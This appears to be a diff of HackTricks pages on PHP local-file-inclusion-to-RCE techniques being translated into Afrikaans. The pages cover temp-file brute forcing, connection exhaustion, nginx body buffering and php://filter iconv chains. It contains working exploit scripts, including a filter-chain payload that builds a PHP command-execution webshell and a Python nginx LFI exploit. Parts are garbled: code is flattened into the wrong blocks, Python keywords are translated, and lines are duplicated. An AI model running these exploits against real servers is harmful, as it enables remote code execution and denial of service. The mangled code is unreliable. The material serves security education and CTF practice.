For more information check the description of the Race Condition and the CTF in [https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)
Vir meer inligting, kyk na die beskrywing van die Race Condition en die CTF in [https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,101 +2,96 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
By default when a file is uploaded to PHP (even if it isn't expecting it), it will generate a temporary file in `/tmp` with a name such as **`php[a-zA-Z0-9]{6}`**, although I have seen some docker images where the generated files don't contain digits.
Deur die standaard wanneer 'n lêer na PHP opgelaai word (selfs al verwag dit nie), sal dit 'n tydelike lêer in `/tmp` genereer met 'n naam soos **`php[a-zA-Z0-9]{6}`**, alhoewel ek sommige docker beelde gesien het waar die gegenereerde lêers geen syfers bevat nie.
In a local file inclusion, **if you manage to include that uploaded file, you will get RCE**.
Note that by default **PHP only allows to upload 20 files in a single request** (set in `/etc/php/<version>/apache2/php.ini`):
In 'n plaaslike lêerinvoeging, **as jy daarin slaag om daardie opgelaaide lêer in te sluit, sal jy RCE kry**.
Let daarop dat standaard **PHP slegs toelaat om 20 lêers in 'n enkele versoek op te laai** (gestel in `/etc/php/<version>/apache2/php.ini`):
```
; Maximum number of files that can be uploaded via a single request
max_file_uploads = 20
```
Ook, die **aantal potensiële lêernames is 62\*62\*62\*62\*62\*62 = 56800235584**
Also, the **number of potential filenames are 62\*62\*62\*62\*62\*62 = 56800235584**
### Ander tegnieke
### Other techniques
Ander tegnieke berus op die aanval van PHP protokolle (jy sal nie kan as jy net die laaste deel van die pad beheer nie), die pad van die lêer openbaar, die misbruik van verwagte lêers, of **om PHP 'n segmentasiefout te laat ly sodat opgelaaide tydelike lêers nie verwyder word nie**.\
Hierdie tegniek is **baie soortgelyk aan die laaste een, maar sonder om 'n nuldag te vind**.
Other techniques relies in attacking PHP protocols (you won't be able if you only control the last part of the path), disclosing the path of the file, abusing expected files, or **making PHP suffer a segmentation fault so uploaded temporary files aren't deleted**.\
This technique is **very similar to the last one but without needed to find a zero day**.
### Ewige wagtegniek
### Eternal wait technique
In hierdie tegniek **het ons net 'n relatiewe pad nodig om te beheer**. As ons daarin slaag om lêers op te laai en die **LFI nooit te laat eindig nie**, sal ons "genoeg tyd" hê om **brute-force opgelaaide lêers** en **te vind** enige van die opgelaaide.
In this technique **we only need to control a relative path**. If we manage to upload files and make the **LFI never end**, we will have "enough time" to **brute-force uploaded files** and **find** any of the ones uploaded.
**Voordele van hierdie tegniek**:
**Pros of this technique**:
- Jy moet net 'n relatiewe pad binne 'n insluiting beheer
- Vereis nie nginx of 'n onverwagte vlak van toegang tot log lêers nie
- Vereis nie 'n 0-dag om 'n segmentasiefout te veroorsaak nie
- Vereis nie 'n pad openbaar nie
- You just need to control a relative path inside an include
- Doesn't require nginx or unexpected level of access to log files
- Doesn't require a 0 day to cause a segmentation fault
- Doesn't require a path disclosure
Die **hoofprobleme** van hierdie tegniek is:
The **main problems** of this technique are:
- 'n Spesifieke lêer(s) moet teenwoordig wees (daar mag meer wees)
- Die **mal** hoeveelheid potensiële lêernames: **56800235584**
- As die bediener **nie syfers gebruik nie** is die totale potensiële hoeveelheid: **19770609664**
- Standaard kan **slegs 20 lêers** in 'n **enkele versoek** opgelaai word.
- Die **maksimum aantal parallelle werkers** van die gebruikte bediener.
- Hierdie limiet saam met die vorige kan hierdie aanval te lank laat duur
- **Tydsduur vir 'n PHP versoek**. Ideaal gesproke moet dit ewige wees of die PHP-proses moet doodgemaak word sonder om die tydelike opgelaaide lêers te verwyder, anders sal dit ook 'n pyn wees
- Need a specific file(s) to be present (there might be more)
- The **insane** amount of potential file names: **56800235584**
- If the server **isn't using digits** the total potential amount is: **19770609664**
- By default **only 20 files** can be uploaded in a **single request**.
- The **max number of parallel workers** of the used server.
- This limit with the previous ones can make this attack last too much
- **Timeout for a PHP request**. Ideally this should be eternal or should kill the PHP process without deleting the temp uploaded files, if not, this will also be a pain
So, how can you **make a PHP include never end**? Just by including the file **`/sys/kernel/security/apparmor/revision`** (**not available in Docker containers** unfortunately...).
Try it just calling:
So, hoe kan jy **maak dat 'n PHP insluiting nooit eindig nie**? Net deur die lêer **`/sys/kernel/security/apparmor/revision`** in te sluit (**nie beskikbaar in Docker houers** ongelukkig...).
Probeer dit net deur te bel:
```bash
php -a # open php cli
include("/sys/kernel/security/apparmor/revision");
```
## Apache2
By default, Apache support **150 concurrent connections**, following [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) it's possible to upgrade this number up to 8000. Follow this to use PHP with that module: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04).
Standaard ondersteun Apache **150 gelyktydige verbindings**, volgens [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) is dit moontlik om hierdie getal tot 8000 te verhoog. Volg dit om PHP met daardie module te gebruik: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04).
By default, (as I can see in my tests), a **PHP process can last eternally**.
Standaard, (soos ek in my toetse kan sien), kan 'n **PHP-proses ewig duur**.
Let's do some maths:
Kom ons doen 'n bietjie wiskunde:
- We can use **149 connections** to generate **149 \* 20 = 2980 temp files** with our webshell.
- Then, use the **last connection** to **brute-force** potential files.
- At a speed of **10 requests/s** the times are:
- 56800235584 / 2980 / 10 / 3600 \~= **530 hours** (50% chance in 265h)
- (without digits) 19770609664 / 2980 / 10 / 3600 \~= 185h (50% chance in 93h)
- Ons kan **149 verbindings** gebruik om **149 \* 20 = 2980 tydelike lêers** met ons webshell te genereer.
- Dan, gebruik die **laaste verbinding** om **brute-force** potensiële lêers.
- Teen 'n spoed van **10 versoeke/s** is die tye:
- 56800235584 / 2980 / 10 / 3600 \~= **530 ure** (50% kans in 265h)
- (sonder syfers) 19770609664 / 2980 / 10 / 3600 \~= 185h (50% kans in 93h)
> [!WARNING]
> Note that in the previous example we are **completely DoSing other clients**!
> Let daarop dat ons in die vorige voorbeeld **heeltemal ander kliënte DoSing**!
If the Apache server is improved and we could abuse **4000 connections** (half way to the max number). We could create `3999*20 = 79980` **files** and the **number** would be **reduced** to around **19.7h** or **6.9h** (10h, 3.5h 50% chance).
As die Apache-bediener verbeter word en ons **4000 verbindings** kan misbruik (halfpad na die maksimum getal). Ons kan `3999*20 = 79980` **lêers** skep en die **getal** sou **verlaag** word tot ongeveer **19.7h** of **6.9h** (10h, 3.5h 50% kans).
## PHP-FMP
If instead of using the regular php mod for apache to run PHP scripts the **web page is using** **PHP-FMP** (this improves the efficiency of the web page, so it's common to find it), there is something else that can be done to improve the technique.
As in plaas daarvan om die gewone php-mod vir apache te gebruik om PHP-skripte uit te voer die **webblad gebruik** **PHP-FMP** (dit verbeter die doeltreffendheid van die webblad, so dit is algemeen om dit te vind), is daar iets anders wat gedoen kan word om die tegniek te verbeter.
PHP-FMP allow to **configure** the **parameter** **`request_terminate_timeout`** in **`/etc/php/<php-version>/fpm/pool.d/www.conf`**.\
This parameter indicates the maximum amount of seconds **when** **request to PHP must terminate** (infinite by default, but **30s if the param is uncommented**). When a request is being processed by PHP the indicated number of seconds, it's **killed**. This means, that if the request was uploading temporary files, because the **php processing was stopped**, those **files aren't going to be deleted**. Therefore, if you can make a request last that time, you can **generate thousands of temporary files** that won't be deleted, which will **speed up the process of finding them** and reduces the probability of a DoS to the platform by consuming all connections.
PHP-FMP laat toe om die **parameter** **`request_terminate_timeout`** in **`/etc/php/<php-version>/fpm/pool.d/www.conf`** te **konfigureer**.\
Hierdie parameter dui die maksimum aantal sekondes aan **wanneer** **versoek aan PHP moet beëindig** (oneindig per standaard, maar **30s as die param nie kommentaar is nie**). Wanneer 'n versoek deur PHP verwerk word, word die aangeduide aantal sekondes, dit **vermoor**. Dit beteken, dat as die versoek tydelike lêers opgelaai het, omdat die **php-verwerking gestop is**, daardie **lêers nie verwyder gaan word**. Daarom, as jy 'n versoek kan laat duur vir daardie tyd, kan jy **duisende tydelike lêers genereer** wat nie verwyder gaan word nie, wat die **proses om hulle te vind** versnel en die waarskynlikheid van 'n DoS op die platform verminder deur al die verbindings te verbruik.
So, to **avoid DoS** lets suppose that an **attacker will be using only 100 connections** at the same time and php max processing time by **php-fmp** (`request_terminate_timeout`**)** is **30s**. Therefore, the number of **temp files** that can be generated **by second** is `100*20/30 = 66.67`.
So, om **DoS te vermy** kom ons veronderstel dat 'n **aanvaller slegs 100 verbindings** terselfdertyd sal gebruik en die maksimum verwerkingstyd van php deur **php-fmp** (`request_terminate_timeout`**)** is **30s**. Daarom, die aantal **tydelike lêers** wat per **sekonde** gegenereer kan word is `100*20/30 = 66.67`.
Then, to generate **10000 files** an attacker would need: **`10000/66.67 = 150s`** (to generate **100000 files** the time would be **25min**).
Dan, om **10000 lêers** te genereer, sal 'n aanvaller nodig hê: **`10000/66.67 = 150s`** (om **100000 lêers** te genereer sal die tyd **25min** wees).
Then, the attacker could use those **100 connections** to perform a **search brute-force**. \*\*\*\* Supposing a speed of 300 req/s the time needed to exploit this is the following:
Dan kan die aanvaller daardie **100 verbindings** gebruik om 'n **soek brute-force** uit te voer. \*\*\*\* Veronderstel 'n spoed van 300 req/s is die tyd wat nodig is om dit te ontgin die volgende:
- 56800235584 / 10000 / 300 / 3600 \~= **5.25 hours** (50% chance in 2.63h)
- (with 100000 files) 56800235584 / 100000 / 300 / 3600 \~= **0.525 hours** (50% chance in 0.263h)
- 56800235584 / 10000 / 300 / 3600 \~= **5.25 ure** (50% kans in 2.63h)
- (met 100000 lêers) 56800235584 / 100000 / 300 / 3600 \~= **0.525 ure** (50% kans in 0.263h)
Yes, it's possible to generate 100000 temporary files in an EC2 medium size instance:
Ja, dit is moontlik om 100000 tydelike lêers in 'n EC2 medium-grootte instansie te genereer:
<figure><img src="../../images/image (240).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> Note that in order to trigger the timeout it would be **enough to include the vulnerable LFI page**, so it enters in an eternal include loop.
> Let daarop dat om die tydsbeperking te aktiveer, dit **genoeg sou wees om die kwesbare LFI-bladsy in te sluit**, sodat dit in 'n ewige insluitingslus ingaan.
## Nginx
It looks like by default Nginx supports **512 parallel connections** at the same time (and this number can be improved).
Dit lyk of Nginx standaard **512 parallel verbindings** terselfdertyd ondersteun (en hierdie getal kan verbeter word).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,23 +2,20 @@
{{#include ../../banners/hacktricks-training.md}}
## Vulnerable configuration
## Kwetsbare konfigurasie
[**Example from https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
- PHP code:
[**Voorbeeld van https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
- PHP kode:
```php
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Note: One cannot directly include \`/proc/34/fd/15\` in this example as PHP's \`include\` function would resolve the path to \`/var/lib/nginx/body/0000001368 (deleted)\` which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: \`/proc/self/fd/34/../../../34/fd/15\` which will finally execute the content of the deleted \`/var/lib/nginx/body/0000001368\` file. ## Full Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
```
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
behalwe:
pass
```
def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)
@ -36,19 +33,17 @@ def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in
if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\_session = create\_requests\_session() print('\[DEBUG] Getting Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] Starting payload sending') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Starting fd readers') read\_file\_multiprocess(requests\_session, nginx\_pids)
```
## Labs
## Laboratoria
- [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
- [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
- [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
## References
## Verwysings
- [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
{{#include ../../banners/hacktricks-training.md}}
```
```

View File

@ -4,43 +4,42 @@
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
Verdiep jou kundigheid in **Mobile Security** met 8kSec Academy. Meester iOS en Android sekuriteit deur ons self-gebaseerde kursusse en kry gesertifiseer:
{% embed url="https://academy.8ksec.io/" %}
## Intro
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.
Hierdie [**skrywe**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) verduidelik dat jy **php filters kan gebruik om arbitrêre inhoud** as uitvoer te genereer. Dit beteken basies dat jy **arbitrêre php kode** vir die insluiting kan **genereer sonder om** dit in 'n lêer te skryf.
Basically the goal of the script is to **generate a Base64** string at the **beginning** of the file that will be **finally decoded** providing the desired payload that will be **interpreted by `include`**.
Basies is die doel van die skrip om 'n **Base64** string aan die **begin** van die lêer te genereer wat uiteindelik **gedecodeer** sal word om die gewenste payload te verskaf wat deur `include` **geïterpreteer** sal word.
The bases to do this are:
Die basisse om dit te doen is:
- `convert.iconv.UTF8.CSISO2022KR` will always prepend `\x1b$)C` to the string
- `convert.base64-decode` is extremely tolerant, it will basically just ignore any characters that aren't valid base64. It gives some problems if it finds unexpected "=" but those can be removed with the `convert.iconv.UTF8.UTF7` filter.
- `convert.iconv.UTF8.CSISO2022KR` sal altyd `\x1b$)C` aan die string voorafgaan
- `convert.base64-decode` is uiters verdraagsaam, dit sal basies net enige karakters wat nie geldige base64 is, ignoreer. Dit gee 'n paar probleme as dit onverwagte "=" vind, maar dit kan verwyder word met die `convert.iconv.UTF8.UTF7` filter.
The loop to generate arbitrary content is:
Die lus om arbitrêre inhoud te genereer is:
1. prepend `\x1b$)C` to our string as described above
2. apply some chain of iconv conversions that leaves our initial base64 intact and converts the part we just prepended to some string where the only valid base64 char is the next part of our base64-encoded php code
3. base64-decode and base64-encode the string which will remove any garbage in between
4. Go back to 1 if the base64 we want to construct isn't finished yet
5. base64-decode to get our php code
1. voeg `\x1b$)C` aan ons string vooraf soos hierbo beskryf
2. pas 'n ketting van iconv omskakelings toe wat ons aanvanklike base64 ongeskonde laat en die deel wat ons net voorafgevoeg het, omskakel na 'n string waar die enigste geldige base64 karakter die volgende deel van ons base64-gecodeerde php kode is
3. base64-decode en base64-encode die string wat enige rommel tussenin sal verwyder
4. Gaan terug na 1 as die base64 wat ons wil konstrueer nog nie klaar is nie
5. base64-decode om ons php kode te kry
> [!WARNING]
> **Includes** usually do things like **appending ".php" at the end** of the file, which could diffecult the exploitation of this because you would need to find a .php file with a content that does't kill the exploit... or you **could just use `php://temp` as resource** because it can **have anything appended in the name** (lie +".php") and it will still allow the exploit to work!
> **Insluitings** doen gewoonlik dinge soos **om ".php" aan die einde** van die lêer toe te voeg, wat die uitbuiting hiervan moeilik kan maak omdat jy 'n .php lêer met 'n inhoud moet vind wat nie die uitbuiting doodmaak nie... of jy **kan net `php://temp` as hulpbron gebruik** omdat dit **enigiets in die naam kan hê** (soos +".php") en dit sal steeds die uitbuiting laat werk!
## How to add also suffixes to the resulting data
## Hoe om ook agtervoegsels aan die resultaatdata toe te voeg
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) how you can still abuse PHP filters to add suffixes to the resulting string. This is great in case you need the output to have some specific format (like json or maybe adding some PNG magic bytes)
[**Hierdie skrywe verduidelik**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) hoe jy steeds PHP filters kan misbruik om agtervoegsels aan die resultaatstring toe te voeg. Dit is wonderlik in die geval jy die uitvoer met 'n spesifieke formaat moet hê (soos json of dalk om 'n paar PNG magiese bytes by te voeg)
## Automatic Tools
## Outomatiese Gereedskap
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)**
## Full script
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(kan agtervoegsels byvoeg)**
## Volledige skrip
```python
import requests
@ -52,24 +51,24 @@ command = "/readflag"
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
@ -81,101 +80,97 @@ filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
r = requests.get(url, params={
"0": command,
"action": "include",
"file": final_payload
"0": command,
"action": "include",
"file": final_payload
})
print(r.text)
```
### Verbeterings
### Improvements
The previous script is limited to the base64 characters needed for that payload. Therefore, I created my own script to **bruteforce all the base64 characters**:
Die vorige skrip is beperk tot die base64 karakters wat nodig is vir daardie payload. Daarom het ek my eie skrip geskep om **bruteforce al die base64 karakters**:
```php
conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'1': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF1002035D.EUC-KR|convert.iconv.MAC-CYRILLIC.T.61-8BIT|convert.iconv.1046.CSIBM864|convert.iconv.OSF1002035E.UCS-4BE|convert.iconv.EBCDIC-INT1.IBM943',
'2': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO6937.OSF1002011C|convert.iconv.CP1146.EUCJP-OPEN|convert.iconv.IBM1157.UTF8',
'3': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-7.CSISOLATIN3|convert.iconv.ISO-8859-9.CP905|convert.iconv.IBM1112.CSPC858MULTILINGUAL|convert.iconv.EBCDIC-CP-NL.ISO-10646',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
'5': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.RUSCII.IBM275|convert.iconv.CSEBCDICFR.CP857|convert.iconv.EBCDIC-CP-WT.ISO88591',
'6': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-37.MACUK|convert.iconv.CSIBM297.ISO-IR-203',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'a': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9066.CP1371|convert.iconv.KOI8-RU.OSF00010101|convert.iconv.EBCDIC-CP-FR.ISO-IR-156',
'b': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1399.UCS4',
'c': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.8859_9.OSF100201F4|convert.iconv.IBM1112.CP1004|convert.iconv.OSF00010007.CP285|convert.iconv.IBM-1141.OSF10020402',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'e': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.SHIFT_JISX0213|convert.iconv.IBM1164.UCS-4',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
'g': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022CN.CP855|convert.iconv.CSISO49INIS.IBM1142',
'h': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.THAI8.OSF100201B5|convert.iconv.NS_4551-1.CP1160|convert.iconv.CP275.IBM297',
'i': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM943|convert.iconv.CUBA.CSIBM1140',
'j': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.UCS-4BE|convert.iconv.IBM857.OSF1002011C',
'k': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO88594.CP912|convert.iconv.ISO-IR-121.CP1122|convert.iconv.IBM420.UTF-32LE|convert.iconv.OSF100201B5.IBM-1399',
